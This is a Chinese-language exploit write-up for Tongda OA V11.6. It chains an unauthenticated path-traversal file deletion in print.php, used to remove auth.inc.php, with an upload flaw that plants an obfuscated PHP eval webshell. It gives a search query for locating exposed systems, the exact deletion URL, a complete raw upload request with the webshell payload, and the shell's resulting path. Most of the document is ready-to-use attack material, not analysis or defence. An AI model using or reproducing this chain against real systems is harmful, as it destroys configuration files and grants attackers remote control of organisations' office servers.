通达OA print.php前台任意文件删除&getshell
一、漏洞简介
通达OA（Office Anywhere网络智能办公系统）是由北京通达信科科技有限公司自主研发的协同办公自动化系统，包括流程审批、行政办公、日常事务、数据统计分析、即时通讯、移动办公等。 攻击者可通过任意文件删除漏洞删除auth.inc.php，然后组合文件上传漏洞最终可造成远程代码执行(RCE)漏洞，从而导致服务器权限被拿下。
二、影响版本
- 通达OA V11.6
- ⚠注意验证：该漏洞会删除配置文件，破坏系统，谨慎操作。
三、资产测绘
- hunter
app.name="通达 OA"
- 登录页面
四、漏洞复现
POC
访问poc，影响200表示可能存在通达OA任意文件删除漏洞
http://xx.xx.xx.xx/module/appbuilder/assets/print.php
EXP
- 使用通达OA任意文件上传漏洞删除通达OA
auth.inc.php文件
http://xx.xx.xx.xx/module/appbuilder/assets/print.php?guid=../../../webroot/inc/auth.inc.php
- 通过后台文件上传漏洞上传webshell
POST /general/data_center/utils/upload.php?action=upload&filetype=nmsl&repkid=/.%3C%3E./.%3C%3E./.%3C%3E./ HTTP/1.1
Accept-Charset: GBK
Cookie: null;_SERVER=
Cache-Control: no-cache
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.7 Safari/537.36
Connection: close
Pragma: no-cache
Content-Type: multipart/form-data; boundary=********
Host: xx.xx.xx.xx
Content-Length: 240
--********
Content-Disposition: form-data; name="FILE1"; filename="shell.php"
<?php class Gpl5I2Tc { public function __construct($H9i75){ @eval("/*Zc3W78jv53*/".$H9i75."/*Zc3W78jv53*/"); }}new Gpl5I2Tc($_REQUEST['x']);?>
--********
- 上传文件位置
http://xx.xx.xx.xx/_shell.php